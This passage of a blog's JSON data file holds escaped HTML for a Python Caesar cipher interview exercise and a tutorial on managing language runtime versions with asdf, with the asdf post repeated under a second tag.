#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e encode(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e decode(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__name__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'__main__'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    main()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis would prove that you are a decent problem solver and have enough of\nthe language to get things done but if you want to prove you have\nmastered the python language you might take advantage of some slicing\nand some methods out of the string module and change your code to look\nsomething like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e string \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e letters, maketrans\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003edecode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eencode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003emodify_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    trans \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e maketrans(letters, letters[shift:] \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e letters[:shift])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.translate(trans)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eDo get more information on string.letters and string.maketrans you can\nvisit their documentation\n[here](\u003ca href=\"http://docs.python.org/library/string.html\"\u003ehttp://docs.python.org/library/string.html\u003c/a\u003e)\u003c/p\u003e","category":"Development","date":"2010-11-14T18:00:00-06:00","tags":["Python","Interviews"],"title":"Caesar Cipher in Python"}]},"NodeJS":{"count":1,"posts":[{"id":["2022","intro_to_asdf"],"path":"2022/intro_to_asdf","contentHtml":"\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is a general purpose version manager that\ncan manage versions of most programming language runtimes through a set\nof plugins.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/RTaqWRj-6Lg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003cp\u003eWith micro-services being all the rage and the ever changing landscape\nof the development world, it is rare to utilize a single version of\nlanguage runtime. Even when you want to upgrade from one to the other\nyou'll need both usable on your system at the same time.\u003c/p\u003e\n\u003cp\u003eI've used tools like \u003ccode\u003epyenv\u003c/code\u003e and \u003ccode\u003envm\u003c/code\u003e in the past when I needed to change\nversions depending on which project I'm contributing to. But with \u003ccode\u003easdf\u003c/code\u003e\nyou have one tool to rule them all!\u003c/p\u003e\n\u003ch2\u003eGetting Started\u003c/h2\u003e\n\u003cp\u003eThe first thing you need to do when working with \u003ccode\u003easdf\u003c/code\u003e is grab the\nplugins for the languages you are interested in working with. You can list\nwhat plugins are available:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin list all\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/kennyp/asdf-golang.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolangci-lint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/hypnoglow/asdf-golangci-lint.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/asdf-community/asdf-poetry.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/twuni/asdf-yarn.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOn the left will be the name of the plugin and on the right will be the repository\nwhere it lives.  It'll me marked with an asterisk if you already have it installed.\u003c/p\u003e\n\u003cp\u003eTo install a plugin you say \u003ccode\u003easdf plugin add \u0026#x3C;plugin\u003e\u003c/code\u003e to get it installed.  You can\nalso provide the repository where you want it pulled from, for example:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin add python https://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will not give you any version of those languages, it is only installing the\nplugin that knows how to work with those languages.   You are ready to pull down\nany versions you want at that point:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf install nodejs 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf install python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce you have the versions installed you will be able to view them like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e--help\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e16.14.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e17.5.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.1.13\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e3.9.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.22.17\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eUsing the installed languages\u003c/h2\u003e\n\u003cp\u003eTo activate a specific version of a language you have you have three options:\u003c/p\u003e\n\u003ch3\u003eMake it global\u003c/h3\u003e\n\u003cp\u003eYou can make it global, meaning when you run the tool like \u003ccode\u003epython\u003c/code\u003e it'll use\nthis version for the system:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf global python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3\u003eMake it local\u003c/h3\u003e\n\u003cp\u003eYou can make it local, which means it will generate a file in the current\ndirectory named \u003ccode\u003e.tool-versions\u003c/code\u003e and so whenever you change into a directory\nit will activate the versions defined in there.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf local nodejs 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e cat .tool-versions \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e12.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe great thing about this is you can commit that file to git and then anyone\nwho checks out the project and uses \u003ccode\u003easdf\u003c/code\u003e will have the same versions activated!\u003c/p\u003e\n\u003ch3\u003eTemporary\u003c/h3\u003e\n\u003cp\u003eIf you want to activate a version of a language temporarily you can swap to it\nfor the current shell:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf shell golang 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e env\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eASDF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eASDF_GOLANG_VERSION\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.17\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt sets an environment variable that will have preference over the file. If you\never wonder what versions a directory is using you can run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf current\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e______\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eset.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"asdf \u0026#x3C;global|shell|local\u003e golang \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e12.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e______\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eset.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"asdf \u0026#x3C;global|shell|local\u003e poetry \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3.9\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e  is an AWESOME tool to utilize if you find yourself using many\ndifferent languages or many different versions of the same language. You should check it out\nand see if it can improve your workflow.\u003c/p\u003e","category":"Development","date":"2022-02-17T18:00:00-06:00","tags":["Python","NodeJS","GoLang","Linux"],"title":"Use asdf to manage Python, NodeJS, GoLang and more!"}]},"GoLang":{"count":1,"posts":[{"id":["2022","intro_to_asdf"],"path":"2022/intro_to_asdf","contentHtml":"\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is a general purpose version manager that\ncan manage versions of most programming language runtimes through a set\nof plugins.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/RTaqWRj-6Lg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003cp\u003eWith micro-services being all the rage and the ever changing landscape\nof the development world, it is rare to utilize a single version of\nlanguage runtime. Even when you want to upgrade from one to the other\nyou'll need both usable on your system at the same time.\u003c/p\u003e\n\u003cp\u003eI've used tools like \u003ccode\u003epyenv\u003c/code\u003e and \u003ccode\u003envm\u003c/code\u003e in the past when I needed to change\nversions depending on which project I'm contributing to. But with \u003ccode\u003easdf\u003c/code\u003e\nyou have one tool to rule them all!\u003c/p\u003e\n\u003ch2\u003eGetting Started\u003c/h2\u003e\n\u003cp\u003eThe first thing you need to do when working with \u003ccode\u003easdf\u003c/code\u003e is grab the\nplugins for the languages you are interested in working with. You can list\nwhat plugins are available:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin list all\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/kennyp/asdf-golang.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolangci-lint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/hypnoglow/asdf-golangci-lint.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/asdf-community/asdf-poetry.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/twuni/asdf-yarn.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOn the left will be the name of the plugin and on the right will be the repository\nwhere it lives.  It'll me marked with an asterisk if you already have it installed.\u003c/p\u003e\n\u003cp\u003eTo install a plugin you say \u003ccode\u003easdf plugin add \u0026#x3C;plugin\u003e\u003c/code\u003e to get it installed.  You can\nalso provide the repository where you want it pulled from, for example:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" 